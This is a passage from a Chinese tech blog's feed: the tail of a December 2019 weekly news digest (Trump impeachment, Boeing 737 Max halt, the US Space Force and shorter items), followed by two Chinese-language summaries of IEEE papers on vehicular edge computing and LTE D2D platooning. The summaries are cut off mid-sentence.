class="header-section-number">1.2</span> 美国众议院通过特朗普弹劾案</h2><p><img src="https://imgs.codewoody.com/uploads/big/90648a772417de40383649940910754c.jpg"></p><p>特朗普成为美国历史上第三位被众议院弹劾并通过的总统,随后弹劾案将移交参议院审核,以决定他是否能继续担任总统。当天众议院投票表决的两项弹劾指控是:滥用权力与妨碍国会调查。投票结果沿袭了众议院里的政党路线,几乎所有民主党人都支持两项指控,而所有共和党人投票反对。</p><p>当地时间晚上8:30,众议院开始依次对两项指控进行投票。第一项指控“滥用权力”获得通过,就意味着特朗普正式遭到众议院弹劾。最后的投票结果是,第一项指控“滥用权力”以230票支持197票反对获得通过,第二项指控“妨碍国会调查”以229票支持198票反对获得通过。</p><p>特朗普弹劾案源于他与乌克兰总统的一通电话。特朗普被指涉嫌与乌克兰政府达成利益交换,以拖延军事援助来要挟乌国调查其在2020年大选中的主要对手拜登(Joe Biden)。</p><h2 data-number="1.3" id="波音宣布暂时停产-737-max"><span class="header-section-number">1.3</span> <a href="https://www.zhihu.com/question/361273239" target="_blank" rel="noopener">波音宣布暂时停产 737 Max</a></h2><p>美国当地时间周一股市交易结束之后,波音发布消息称,从明年1月起暂时停产737Max机型。此举可能会对美国整体经济产生巨大影响。为数众多的供应商、航空公司和其他企业都可能因此而受到损失。</p><p>一年前波音的世界还岁月静好:尽管印度尼西亚已经发生了第一起737Max机型坠机事故,不过当时似乎波音公司完全没有受到任何负面影响。公司总裁米伦伯格(Dennis Muilenburg)还在庆祝巨大成功:波音在2018财政年度销售额突破1000亿美元大关,创下了这家百年老店一项历史记录。</p><p>不过,米伦贝格被当成英雄接受欢呼的时间很快宣告终止:2019年3月,一架几乎全新的737Max在埃塞俄比亚坠落。此后,波音的这款主力机型几乎遭到全球禁飞。</p><blockquote><p>在王孟源之前的一篇文章中提到,波音公司的堕落正式美国金融精英和资本力量的短视对于重视安全的工程师文化的「战胜」的表现。今天的波音在获取利润的能力是大大进步了,但是在推动航空技术的创新和确保飞行安全性上的重视上却退步了。所以出现 737 Max 这种事件是迟早的。事实上,波音公司既不是美国资本力量玩垮的第一家企业,也不会是最后一家。现在的问题是,波音留下的市场空白,会被谁占尽。</p></blockquote><h2 data-number="1.4" id="中国国际论文引用率提升"><span class="header-section-number">1.4</span> <a href="http://news.sciencenet.cn/htmlnews/2019/12/433991.shtm" target="_blank" rel="noopener">中国国际论文引用率提升</a></h2><p>根据2019中国科技论文统计结果,2009年至2019年(截至2019年10月)我国科技人员共发表国际论文260.64万篇,比2018年统计时增加了14.7%;论文共被引用2845.23万次,与上一个统计年度相比,增加了25.2%,连续三年排在世界第二位。虽然中国论文被引用次数增长的速度显著快于大多数国家,但与排在第一位的美国的7468.9万次相比,还有很大差距。</p><p>从篇均被引用率来看,我国平均每篇论文被引用10.92次,比上一年度统计时提高了9.2%。这意味着,从纵向比较,2009年至2019年10月间,我国国际科技论文的质量有了显著提升。但是,从横向比较的角度来看,本统计年度世界国际科技论文被引用次数的平均值达到每篇12.68次,比上一年度统计时的12.61次有所提高。这说明我国科技论文的质量虽然提升速度快,但与同期的世界平均值相比,还有不小的差距,需要进一步加快追赶步伐。</p><h2 data-number="1.5" id="印度今年宣布关闭互联网次数达-93-次"><span class="header-section-number">1.5</span> <a href="https://www.guancha.cn/internation/2019_12_19_528859.shtml" target="_blank" rel="noopener">印度今年宣布关闭互联网次数达 93 次</a></h2><p>印度在2014年经历了六次互联网关闭,到2015年上升到14次。在2016年,增加了一倍多,达到31次,在2017年达到79次。这一数字在2018年达到峰值,达到134次,到2019年12月15日,达到93次。数据显示,2018年世界上有67%的互联网中断在印度。2019年,印度宣布关闭互联网的次数为93次,总共影响了167个地区。</p><p>India Today数据情报部门(DIU)分析了该国的互联网关闭情况,发现恐怖活动和社区紧张局势是造成服务中断的最大原因。slfc.in和internetshutdowns.com编制的数据显示,自2014年以来,印度关闭互联网服务多达357次。</p><h2 data-number="1.6" id="美国成立太空军"><span class="header-section-number">1.6</span> <a href="https://www.bbc.com/zhongwen/simp/world-50878499" target="_blank" rel="noopener">美国成立太空军</a></h2><p>美国总统特朗普宣布正式成立太空军(the US Space Force)。美国这一新的军种,隶属美国空军,也是美军自70多年来第一次设立新军种。特朗普在华盛顿附近的军事基地宣布了这一重大消息。他说:“太空是世界上最新的战斗领域”。</p><p>“在国家安全处于重大威胁当中时,美国在太空领域的绝对优势是完全必要的。我们虽然处于领先,但领先程度还不够,不过我们很快就将大大地领先。”</p><p>“太空军将帮助我们阻吓进犯而且掌控绝对制高点。”</p><p>特朗普周五(20日)签署了7380亿美元的美军年度预算,而成立太空军获得的第一年拨款为4000万美元。</p><h2 data-number="1.7" id="其他"><span class="header-section-number">1.7</span> 其他</h2><h3 data-number="1.7.1" id="国内"><span class="header-section-number">1.7.1</span> 国内</h3><ul><li>湖南操场埋尸案主犯杜少平被判处死刑。<a href="https://www.zhihu.com/question/361624094" target="_blank" rel="noopener">source</a></li><li>2020 年考研人数突破 300 万,达到了 341 万人,比上一年的 290 万增长 17.59 %。</li><li>20 日是澳门回归 20 周年。澳门特别行政区政府于 20 日晨隆重矩形升旗仪式,庆祝澳门回归中国20周年。<a href="http://sputniknews.cn/video/201912211030291399/" target="_blank" rel="noopener">source</a></li><li>长安福特 AE 工程师邓乐家,吉大毕业,入职 8 年,长期高强度工作、加班,年仅30岁抑郁跳楼身亡。<a href="https://www.zhihu.com/question/362081267" target="_blank" rel="noopener">source</a></li></ul><h3 data-number="1.7.2" id="国际"><span class="header-section-number">1.7.2</span> 国际</h3><ul><li>纽约时报引述匿名消息人士报导称,美国政府今年早些时候秘密驱逐了中国大使馆两名官员,此前这两位官员驾车闯入了一个军事基地。<a href="https://cn.reuters.com/article/nyt-usaexpelled-chinese-officials-1215-s-idCNKBS1YK0C6?feedType=RSS&feedName=CNTopGenNews" target="_blank" rel="noopener">source</a></li><li>密苏里州堪萨斯成为美国第一个提供免费公交的大城市。目前世界上绝大多数免费公交系统位于欧洲。</li><li>彭博社报道的假新闻导致法国最大的建筑承包商——万喜集团股票暴跌18.28%,法国有关当局16日对彭博开罚500万欧元。彭博社已宣布决定上诉。<a href="http://sputniknews.cn/society/201912171030255509/" target="_blank" rel="noopener">source</a></li><li>美国昆尼皮亚克大学(Quinnipiac University)进行的一项民调显示,美国总统特朗普的支持率达到最高点。<a href="http://sputniknews.cn/politics/201912171030254180/" target="_blank" rel="noopener">source</a></li><li>巴基斯坦前总统佩尔韦兹·穆沙拉夫被巴基斯坦特别法庭判处死刑。<a href="http://sputniknews.cn/politics/201912171030253960/" target="_blank" rel="noopener">source</a></li><li>南非总统拉马福萨 12 月 16 日发布特赦令,为庆祝种族和解日对 1.46 万名囚犯予以特赦。<a href="http://sputniknews.cn/society/201912171030251716/" target="_blank" rel="noopener">source</a></li><li>印度 Duke 号邮轮 12 月 15 日在尼日利亚海岸遭到海盗袭击,至少有 20 名印度船员被绑架。<a href="http://sputniknews.cn/society/201912171030251578/" target="_blank" rel="noopener">source</a></li><li>美国法官裁决美国政府有权扣押 Snowden 的图书销售收入。</li><li>印尼爆发非洲猪瘟。<a href="http://www.bbc.com/zhongwen/simp/world-50854389" target="_blank" rel="noopener">source</a></li><li>北溪二号天然气管道铺设公司因美国制裁威胁暂停工作。<a href="http://sputniknews.cn/politics/201912211030290318/" target="_blank" rel="noopener">source</a></li><li>习近平特朗普通电话。特朗普在推特表示,通话以经贸议题为重点,正式签署贸易协议已经在安排中。中国官媒新华社称,习近平在通话中“对近一段时间来美方在涉台、涉港、涉疆、涉藏等问题上的消极言行表示严重关切”。。<a href="http://www.bbc.com/zhongwen/simp/world-50876671" target="_blank" rel="noopener">source</a></li><li>本周五晚,特朗普签署 2020 年度国防授权法案。该文件牵涉 7380 亿美元的财政支出。<a href="https://www.dw.com/zh/特朗普签署国防授权法案-处处影射中国/a-51762998?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>中国和俄罗斯否决了一项联合国援助叙利亚的决议。<a href="https://www.dw.com/zh/俄中否决联合国援助叙利亚决议/a-51764565?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>特朗普批准制裁北溪 2 号。默克尔政府谴责了这项制裁令,普京则称要采取“对等”措施。<a href="https://www.dw.com/zh/特朗普批准制裁北溪2号项目-德国政府抗议/a-51763601?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>俄罗斯“成功测试”了与世界不联通的全俄互联网。</li><li>周四,日本法务省对2003年在福冈市杀害一家四口的中国籍死刑犯执行了死刑。参与作案的另外两名中国人逃回中国后,一人2005年被判无期徒刑,另一人同年被执行死刑。<a href="https://www.dw.com/zh/福冈灭门案中国死刑犯在日被绞刑处决/a-51798650?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li></ul><h3 data-number="1.7.3" id="科技"><span class="header-section-number">1.7.3</span> 科技</h3><ul><li>12 月 18 日柳传志宣布卸任联想控股董事长。<a href="https://www.zhihu.com/question/361689334" target="_blank" rel="noopener">source</a></li><li>魔兽争霸 3 重置版推迟到明年 1 月份发布。</li><li>海盗湾正在尝试高质量的视频流播放。<a href="https://torrentfreak.com/the-pirate-bay-is-trialing-high-quality-video-streaming-links-191209/" target="_blank" rel="noopener">source</a></li><li>12 月 19 日 PayPal 公司宣布,在 9 月 30 日中国人民银行批准后,PayPal 已完成对国付宝信息科技有限公司 (Gopay) 70% 股权的收购,交易完成以后,PayPal 成为第一家获准在中国市场提供在线支付服务的外资支付平台。</li><li>FDA 批准世界上第一种埃博拉疫苗。</li><li>日本半导体巨头尔必达原社长坂本幸雄加入紫光集团。<a href="https://www.zhihu.com/question/362703941/answer/948679892" target="_blank" rel="noopener">source</a></li><li>中东流行的消息应用 ToTok 被下架,理由是阿联酋政府尝试利用这一应用监视用户。<a href="https://t.me/solidot/9874" target="_blank" rel="noopener">source</a></li><li>12 月 26 日 「金环日食」上演。<a href="https://www.zhihu.com/question/362905897" target="_blank" rel="noopener">source</a></li><li>12 月 24 日举办了 2019 龙芯产品发布会。<a href="https://www.zhihu.com/question/362663819" target="_blank" rel="noopener">source</a></li></ul>]]></content>
<summary type="html">
<p><img src="https://imgs.codewoody.com/uploads/big/e9118c69c55d30fb0abeb50ca721b2f9.jpg"></p>
</summary>
<category term="Weekly" scheme="http://www.codewoody.com/categories/Weekly/"/>
<category term="杂谈" scheme="http://www.codewoody.com/tags/%E6%9D%82%E8%B0%88/"/>
<category term="科技新闻" scheme="http://www.codewoody.com/tags/%E7%A7%91%E6%8A%80%E6%96%B0%E9%97%BB/"/>
<category term="转载" scheme="http://www.codewoody.com/tags/%E8%BD%AC%E8%BD%BD/"/>
<category term="Weekly" scheme="http://www.codewoody.com/tags/Weekly/"/>
</entry>
<entry>
<title>[读论文]车联网与边缘计算 2019</title>
<link href="http://www.codewoody.com/posts/17042/"/>
<id>http://www.codewoody.com/posts/17042/</id>
<published>2019-12-12T03:05:32.000Z</published>
<updated>2019-12-13T10:07:42.167Z</updated>
<content type="html"><![CDATA[<p>还是 VTM 的文章。这次是 2019 年最新一年的文章:<a href="https://ieeexplore.ieee.org/document/8581401" target="_blank" rel="noopener">Mobile Edge Computing For the Internet of Vechicles: Offloading framework and job scheduling</a>。文章主要关注了车联网场景下的边缘计算问题。这也是时下研究的一个热点方向。</p><blockquote><p>看完了文章可以来写评论了。这篇文章写的就非常简略了,基本上有营养的就只是提到了边缘计算的 <i>System Model</i>。对于具体的机制过程缺少详细的介绍。这也是 Magazine 文章的风格吧。要了解车联网边缘面临的重要问题还是得去看 Transaction 的文章吧。</p></blockquote><a id="more"></a><hr><h1 data-number="1" id="研究背景"><span class="header-section-number">1</span> 研究背景</h1><p>移动边缘计算 (Mobile Edge Computing) 可以使得车辆之间能够共享计算资源。在这篇文章里面,我们提出了一种分布式的车辆边缘计算解决方案: <i>autonomous vehicular edge</i> (AVE),可以让相邻车辆之间通过 V2V 通信共享计算资源。我们进一步扩展这一想法,提出了 <i>hybrid vehicular edge cloud</i> (HVC) 的概念。在 HVC 中车辆可以访问周围各种不同的计算纪元,包括路边单元 (Roadside Unit, RSU) 以及云上的计算资源。最后我们验证了这里提出了两种去中心化方案的性能,并讨论了一些 Open Problems。</p><p>现代车辆,尤其是自动驾驶车辆内部对于计算性能的要求越来越高。除了驾驶系统本身的需求,乘客的娱乐需求也需要消耗一部分的计算资源。直接升级硬件是最简单的,不过会显著推高成本。此时让车辆能够使用外部的计算资源能够作为一个可行的替代选项。不过利用外部计算资源面临着通信的延时和可靠性困难。</p><p>MEC 技术也被称为雾计算 (fog computting)。MEC 在边缘网络提供了云计算的能力。在车联网场景中,邻接汽车和 RSU 可以作为合适的外部计算资源的来源。现有的边缘计算方案一般收到两个方面的制约:要么只适用于静止的场景;要么是中心化架构,缺少分布式的实现。如何在高动态的车联网场景中提供通用的、高效的边缘计算解决方案目前还是悬而未决的问题。其中的关键问题是如何发现可用的计算以及如何调度计算卸载,并优化性能目标。</p><p>这篇文章针对郊区车联网和城市车联网两种场景分别设计了车联网 MEC 机制。分别是分布式实现版本 AVE 和 Online 实现版本 HVC。</p><p>在 AVE 中我们通过 DSRC 通信协议在车辆之间以去中心化的方式共享计算资源。AVE 机制不涉及基础设施。AVE 的工作流包括计算任务缓存,邻居节点发现,计算任务调度,数据传输,任务执行以及计算结果传输。邻居节点的数据,包括 GPS 数据,会用于邻接节点发现和计算任务调度。</p><p>在 HVC 中,我们扩展了 AVE 机制以支持路边单元和云上服务器(通过蜂窝网络)。这些基础设施相比邻居车辆拥有更强大的计算资源。多址接入技术,如 LTE 以及 毫米波通信,也被引入到 V2X 通信中。我们研究了如何高效的利用这些通信手段,并设计了在线计算卸载调度算法。仿真验证了通信性能对于混合车辆边缘计算框架性能的影响。</p><h1 data-number="2" id="车联网边缘计算框架"><span class="header-section-number">2</span> 车联网边缘计算框架</h1><h2 data-number="2.1" id="系统模型"><span class="header-section-number">2.1</span> 系统模型</h2><p>这里我们用如下的一些通用的指标来度量计算任务:</p><ol type="1"><li>Utility 效用: 按成这项计算任务能够带来的用户体验提升;</li><li>Host specified: 提供计算的 processor 必须要满足一定的要求才能处理计算任务;</li><li>Context-free 上下文无关: 一个计算任务包含了完成计算的所有数据,可以在任何节点上完成预算;</li><li>Brief: 为描述计算任务的信息;</li></ol><p>我们这里将客户端程序号成为 application modules,将服务端程序称为 back-end modules,如下图所示。</p><p><img src="https://imgs.codewoody.com/uploads/big/0a9e0ebd00eb049b2fb5af26bb266781.png"></p><p>应用 (Application) 运行于原生操作系统之上,由操作系统管理优先级和资源。后端 (back end) 运行在虚拟机上,虚拟机则由我们的框架管理。框架中的管理模块实现为中间层软件<span class="foot-note-span">【这里的<strong>中间</strong>指介于应用和后端之间】</span>,用来收集计算任务和计算结果的信息,并负责判断和执行计算卸载。</p><p>还有一些定义需要引入。我们称产生计算任务请求的节点为 requester,接受任务请求处理计算的是 processor。计算卸载的两个核心任务是:requester 如何发现附近的可用 processor,以及 requester 按照何种规则将计算任务发送给哪个 processor。</p><h2 data-number="2.2" id="ave-框架"><span class="header-section-number">2.2</span> AVE 框架</h2><h3 data-number="2.2.1" id="workflow"><span class="header-section-number">2.2.1</span> Workflow</h3><p>AVE 是为分布式场景提出。在 AVE 中不涉及基础设施,计算卸载发生在相邻的车辆之间。车间数据交换通过基于 IEEE 802.11p 的 V2V 通信进行。AVE 的工作流如下图所示。</p><figure><img src="https://imgs.codewoody.com/uploads/big/162bb60ac832cc5b2c5789683c7ef66f.png" alt=""><figcaption>Workflow of AVE</figcaption></figure><p>上图中的关键步骤如下:</p><ol type="1"><li><strong>通过 Beacon 广播发现邻接网络的计算资源</strong>: Beacon 消息比较简单,包含了描述节点的基础信息。对于 requester 来说,周围发送 Beacon 的相对速度比较小的车辆可以成为潜在的 processor。</li><li><strong>计算任务缓冲</strong>: 当计算任务产生时,不会立即调度出去。节点一般会缓冲这个计算任务,以寻找更加合适的任务分配方案,并避免并发的卸载调度请求。</li><li><strong>Processor 发现</strong>:在 Beacon 阶段发现了潜在的 processors,那么 requester 会进入 processor-discovery 阶段。此时 requester 会广播一个消息为缓存中的计算任务寻找可用的 processor。这个广播消息里面会包含计算任务的需求,requester的速度等信息。可用的 processor 会在受到此广播消息后反馈完成该计算任务需要的时间的估计值。</li><li><strong>计算任务调度</strong>:同时有多个就计算任务需要调度到多个车辆上。考虑 DSRC 有限的信道容量。传输时间也是在计算卸载调度中需要考虑的重要因素。</li><li><strong>计算卸载</strong>:从 processor-discovery 到开始卸载中的传输的间隔通常非常短。我们认为这段时间内网络结构没有发生变化,那么计算卸载中的数据传输路径可以采用和发现阶段同样的传输路径。而为了将计算结果返回到 requester,我们采用了一个比较传统的路由协议:<i>ad hoc on-demand distance vector routing</i>。</li></ol><h3 data-number="2.2.2" id="基于-aco-的调度算法"><span class="header-section-number">2.2.2</span> 基于 ACO 的调度算法</h3><p>在计算任务调度过程中,调度需要给出计算任务传输的顺序(这里我们不考虑任务的并行传输)以及每个计算任务分配的 processor,以使得目标函数值最大化。从数学上来看,这个问题是 <i>two-stage hybrid flow-step problem</i>,这类问题是 <a href="https://en.wikipedia.org/wiki/NP-hardness" target="_blank" rel="noopener">NP 难</a>的。而在 AVE 框架中,调度需要在车上进行,计算资源相对受限,因此我们需要一个高线的算法来求解这样的问题。</p><p>我们提出的解决方案采用了基于 ACO 的算法<span class="foot-note-span">【ACO 为蚁群算法,是一种启发式算法】</span>。该算法可以以非常小的计算成本得到次优解。类似于 <i>particle swarm optimization</i> 和 <i>stochastic diffusion search</i>,ACO 算法也是用了群体智能(<i>swarm intelligence</i>)。</p><blockquote><p>具体的 ACO 算法建模方法在文章里面没有说,作者给了一个参考文献,指向文章:<i>AVE: Autonomous vehicular edge computing framework with ACO-based scheduling</i>。这篇文章也是本篇 Magazine 的作者写的。</p></blockquote><h2 data-number="2.3" id="hvc-框架"><span class="header-section-number">2.3</span> HVC 框架</h2><p>HVC 的主要改进是引入了基础设施角色,其中 RSU 还有云端服务器都可以作为计算资源的来源。我们假设 V2X 通信使用的是 IEEE 802.11p 或者是毫米波通信。</p><p>requester 和 processor 之间可以通过毫米波设备进行直接通信,或者可以通过毫米波中继(在我们的 HVC 场景中毫米波通信最多两跳)。毫米波信道建模时引入了一个失败概率,用来模拟毫米波的指向性和易被遮挡的特点。如果计算任务被调度到远端云上处理,这是计算任务的上传通过蜂窝网络进行。如何组织这些计算和通信资源是一个挑战。</p><h3 data-number="2.3.1" id="workflow-1"><span class="header-section-number">2.3.1</span> Workflow</h3><figure><img src="https://imgs.codewoody.com/uploads/big/fc6aa048f0fd666f2bdb7a0703afb8ae.png" alt=""><figcaption>Workflow of HVC</figcaption></figure><p>上图展示了 HVC 框架的工作流,我们这里关注一下和 AVE 的不同部分。</p><ol type="1"><li>Beacon 和 processor 发现:为了减少计算任务的等待时间,这里的 Beacon 消息包含了更多的信息,故后面再做调度时不需要重复再做一遍 processor 发现。当一个车辆收到来自 RSU 或者邻居车辆的 Beacon 消息时,需要估计发送者停留在自己的通信范围内的时间。这个时间指标会应用到计算任务调度的决策环节。</li><li>计算任务调度:当计算任务到达时,调度者立刻开始调度,从而缩短任务的整体完成时间。如果信道或者本地资源目前处于繁忙的状态,那么将计算任务放到相应的队列。调度算法需要在这时确定计算任务在队列中的合适位置。HVC 中调度问题和 AVE 中的调度问题类似,不过具体的目标的函数以及限制要素存在一定的区别。具体的算法内容参见下一个 Subsetion。</li><li>计算卸载:HVC 需要保持计算卸载的可靠性的前提下,进一步减少计算任务的完成时间。因此,在任务卸载到 RSU 或者周围车辆的时候,requester 和 processor 会通过握手协议确定调度的开始时间是否可行<span class="foot-note-span">【原文是 <i>when jobs are offloaded to RSUs or nearby vehicles, handshaking, which exchanges information about the feasibility of scheduled starting time, is used</i>】</span>。当 processor 不可用时,相应的计算任务会被重新调度。</li></ol><h3 data-number="2.3.2" id="hvc-的优化算法"><span class="header-section-number">2.3.2</span> HVC 的优化算法</h3><p>在 HVC 中,计算任务到达时调度算法就需要确定每个任务分配的 processor,同时还需要确定计算任务加入队列中的位置。由于任务立刻被调度,故每次需要同时被调度的任务数量相比于 AVE 要少的多。所以我们采用了一个线性复杂度的 online 的算法来求解调度问题。对于每个等待调度的任务,我们知道当前节点可用的 RSU 和邻居车辆的集合。也知道这些节点的处理速率和完成时间,故通过 IEEE 802.11p 协议卸载计算的时间也能估计出来。下图演示了这个过程。</p><p><img src="https://imgs.codewoody.com/uploads/big/d709e7182f7eabc522e8ee49b3d37074.png"></p><p>图中,(a)中 Job 1 到达,调度到最后的可用的时隙上<span class="foot-note-span">【原文对这里解释的不是很充分】</span>。传输时间需要在处理之前。(b) 中,Job 2 到达,调度到 processor B 上,因为 processor A 没有足够的空余计算资源可用。(c) 中,Job 3 到达,被分配到 processor A 上。这种分配可以达到最短的完成时间。<span class="foot-note-span">【这里的最短是指相比于将计算任务分配到 process B 上而言的,原文仍然没有说清楚为什么要先传输 Job 3,后传输 Job 1】</span>。(d) 中,Job 2 被传输出去。(e) 中,握手协议在发送任务前检查目标 processor 的可用性。如果不可用,会重新调度计算任务。在 (f) 中,前一个任务失败之后立刻开始传输下一个任务。</p><blockquote><p>作者接下来聊了一大通关于效用函数 (Utility Function) 的问题,但是聊的很宽泛,也没有给出效用函数的形式(Magazine文章不允许出现太多的公式)。这里就略过了。</p></blockquote><h1 data-number="3" id="性能分析略"><span class="header-section-number">3</span> 性能分析(略)</h1><p>仿真分析略过。</p>]]></content>
<summary type="html">
<p>还是 VTM 的文章。这次是 2019 年最新一年的文章:<a href="https://ieeexplore.ieee.org/document/8581401" target="_blank" rel="noopener">Mobile Edge Computing For the Internet of Vechicles: Offloading framework and job scheduling</a>。文章主要关注了车联网场景下的边缘计算问题。这也是时下研究的一个热点方向。</p>
<blockquote>
<p>看完了文章可以来写评论了。这篇文章写的就非常简略了,基本上有营养的就只是提到了边缘计算的 <i>System Model</i>。对于具体的机制过程缺少详细的介绍。这也是 Magazine 文章的风格吧。要了解车联网边缘面临的重要问题还是得去看 Transaction 的文章吧。</p>
</blockquote>
</summary>
<category term="读论文" scheme="http://www.codewoody.com/categories/%E8%AF%BB%E8%AE%BA%E6%96%87/"/>
<category term="读论文" scheme="http://www.codewoody.com/tags/%E8%AF%BB%E8%AE%BA%E6%96%87/"/>
</entry>
<entry>
<title>[读论文]自动驾驶编队与LTE D2D通信</title>
<link href="http://www.codewoody.com/posts/14647/"/>
<id>http://www.codewoody.com/posts/14647/</id>
<published>2019-12-11T08:03:23.000Z</published>
<updated>2019-12-13T10:16:04.583Z</updated>
<content type="html"><![CDATA[<p>这里选择的文章是 2017 年的文章 <a href="https://ieeexplore.ieee.org/document/7829297" target="_blank" rel="noopener">Better Platooning Control Toward Autonomous Driving: An LTE Device-To-Device Communications Strategy That Meets Ultralow Latency Requirements</a>。文章来自 <a href="http://www.ieeevtc.org/vtmagazine/" target="_blank" rel="noopener">Vehicular Technology Magazine</a> 杂志。这个杂志的影响因子挺高的。从标题来看,作者关注的是 LTE D2D 通信无人驾驶编队的控制问题中的应用。D2D 通信是 5G 引入的一个非常重要的特性。可以说对于物联网应用来说,D2D 能力比起带宽和延时来说更为重要。不过舆论对于这个问题的关注不多。这篇文章是一篇 Magazine,一般 Magazine 文章关注的都是研究趋势,而不是关注特别细节的技术问题。因此仔细阅读这篇文章,可以帮助我们了解车联网 + 5G 研究的一些前沿的思路,而不用陷入很多繁冗的细节问题。</p><blockquote><p>看完了文章可以来做一些评论了。最初看这篇文章的目的有两方面,首先是我准备投稿 VTM,因此找来上面的文章看看其风格,而具体而言选择这篇文章,是因为这篇文章涉及的无人驾驶编队问题和 5G D2D 技术都是我比较关心的。</p><p>从文章风格来看,这篇 VTM 还是比较典型的 Magazine 文章风格:即篇幅不长,图片比较多,而几乎没有公式。文章的会有比较大段、详细的研究背景阐述。其提出的协议和机制内容不会特别复杂,也比较少和其他文章的协议进行对比。总结而言,这类文章是选择一个比较新的研究背景,在充分介绍背景问题的基础上,提出一些非常简单的机制,具有 Tutorial 的性质。</p><p>就这篇文章的内容来说,其提出的通信架构其实是非常简单的,模型也非常简单。可见,要写这类 Magazine 文章,提出什么精巧详尽的协议并不是最重要的。最重要的还是要找到非常好的研究场景。</p></blockquote><a id="more"></a><hr><h1 data-number="1" id="研究背景"><span class="header-section-number">1</span> 研究背景</h1><p>编队技术是全面实现自动驾驶的第一步,也是 5G 应用的一个非常重要的场景。在编队系统中,编队成员的间距和速度通过自动化系统来进行控制,这种控制的效率和可靠性建立在车间通信的效率(带宽和延时,尤其是延时)和可靠性之上。在这篇文章中我们主要讨论 5G 技术在车辆编队系统中数据分发的应用潜力。文章提出的通信机制可以实现编队通信的超低延迟需求。文章提出的机制的另一个优势是可以实现对 LTE 资源的空间复用。</p><p>这里文章主要的想法是使用直接的 D2D 通信来实现车间通信的低延时。在 3GPP (Third Geenration Partnership Project) 中,基于蜂窝网基础设施的 D2D 通信服务被称为 Proximity Services (ProSe)。目前 LTE 技术在 V2X 通信中的应用已经在一些项目中被提出<span class="foot-note-span">【文章在这里提到的一个名为 <a href="https://metis2020.com/" target="_blank" rel="noopener">METIS</a> 的项目,不过我查看他们的官网,连一个经过认证的 HTTPS 证书都没有,而且最新的消息只到 2015 年,之后就没有更新了】</span>,且目前正在 3GPP 的讨论进程中。</p><p>作者声称在他们的了解中,目前(2017年)还没有针对 LTE-D2D 在编队场景的应用的充分讨论。所以作者提出了一种简单的编队内的基于 D2D 的消息分发策略。这一策略主要采用了下面的概念:</p><ol type="1"><li>我们提出的策略利用了 Platoon Leader 产生消息的周期性来分配 LTE 资源。</li><li>我们利用了编队中车间距离小,所需的传输功率小的特点来实现 LTE 资源在编队成员,编队之间甚至是其他非车辆终端之间的空分复用。</li></ol><h1 data-number="2" id="相关技术"><span class="header-section-number">2</span> 相关技术</h1><h2 data-number="2.1" id="编队技术"><span class="header-section-number">2.1</span> 编队技术</h2><p>一个<strong>编队</strong>可以被定义为一组拥有共同的运动模式,保持一定的队形的一组车辆。通常编队内的成员之间有固定的车间距和统一的速度。编队运行的稳定性依赖于车间信息交换的效率和有效性。车辆的控制系统通过这些共享的信息来调整自己的速度和加速度,从而保持编队结构的稳定。</p><p>车间信息同步通过每轮的 Cooperative Awareness Messages (CAMs) 交换来进行。通常信息交换由编队的 Leader (PL) 发起,PL 负责管理所有的编队成员 (PMs)。CAMs 信息交换的周期由 PL 指定,一般是 100 ms 或者更低。</p><p>在设计 CAMs 消息的格式和内容的时候需要考虑编队使用的控制策略。例如,在 Predecessor-following 控制策略中,每个车辆只与其前方的车辆通信以了解前方车辆的相对位置。这种策略会导致控制不稳定性的叠加的问题。最末车辆的抖动可能非常大。这一效应可以通过 Predecessor-leader 策略避免。在这一策略中,每个车辆除了获取前方车辆的相对位置,还需要获取 PL 的位置信息。在 Bidirectional 策略中,每个车辆获取其前后车辆的信息用于自身速度调整。不过这种策略在大规模编队系统中控制误差比较大。</p><p>编队的性能和稳定性也会高度收到车间通信性能的影响。如果通过 IEEE 802.11 (车联网通信的标准) 交换 CAM 信息,由于其底层使用了 CSMA/CA 协议,这一协议缺乏中心化的资源管理机制,因此难以保证延时和通信的可靠性。</p><p>有很多研究针对 IEEE 802.11 提出了改进措施以克服这些问题。在[6]中,一个单独的信道被划分出来用于传输编队信息,从而减少干扰和冲突。不过这种分配方式比较浪费。在[7]中作者提出了一种构筑在 802.11 之上的 TDMA 机制。在[8]中,PL总是以最大的功率 (20 dbm)发送,以覆盖所有的 PM,而每个 PM 以 0 dbm 的功率发送,只需要覆盖其后方的车辆。</p><p>上面这些为 802.11 打上无竞争补丁方式提示我们,也许我们需要的是一个新的,中心化资源管理机制。这是 LTE-D2D 能够提供的。</p><h2 data-number="2.2" id="lte-d2d"><span class="header-section-number">2.2</span> LTE-D2D</h2><p>在 LTE 系统中,通信资源是由基站直接管理的。基站的管理以 1 ms 长的传输单元 (Transmission time interval, TTI)进行。在每个 TTI 中,基站会分配若干个正交的 180 kHz 的子带 (subband)。每个 TTI 上的一个 子带,被称为一个资源块 (Resource Band, RB)。D2D 通信模式(也被成为 sidelink),允许设备在不经过基站或者核心网络的情况下直接进行通行。因此 D2D 技术可以让设备之间的通信达到高速率,低延时,低功耗,以及更高的频谱效率。</p><p>D2D 通信可以使用蜂窝网的频段 (InBand),也可以使用未认证的频段。InBand 通信可以进一步划分为 Underlay 和 Overlay 两个类别。前者蜂窝通信和 D2D 通信共用射频资源;后者 D2D 链接使用专用的射频资源。通过使用合适的资源分配算法,可以减少干扰,并实现 RB 的空分复用。</p><p>在这篇文章中,我们使用 InBand Underlay D2D 通信模式来进行 CAM 信息交换。LTE 的中心化架构可以让我们对于资源的分配状态有一个全局的认识,从而可以优化资源的使用效率。</p><h1 data-number="3" id="系统假设"><span class="header-section-number">3</span> 系统假设</h1><h2 data-number="3.1" id="编队假设"><span class="header-section-number">3.1</span> 编队假设</h2><p>假设这样的道路场景,在一个基站 (eNodeB) 的覆盖范围内有 <span class="math inline">\(M \geq 1\)</span> 个编队。这里我们考虑编队系统运行稳态的情形,即不考虑新成员的加入和编队现有成员的离开,这意味着编队的大小 <span class="math inline">\(S_i, i \in {1, \dots, M}\)</span> 是固定的。编队的长度(包括车辆的长度和车间距)为 <span class="math inline">\(L_i\)</span>。相邻车辆的间距为 <span class="math inline">\(d_i\)</span>,运动速度为 <span class="math inline">\(v_i\)</span>。</p><p>假设编队使用了 Predecessor-leader 控制策略。在编队 <span class="math inline">\(i\)</span> 中,信息交换以 CAM 消息的形式进行。PL 每经过 <span class="math inline">\(T_i\)</span> 秒更新一次 CAM。<span class="math inline">\(T_i\)</span> 需要不超过 100ms 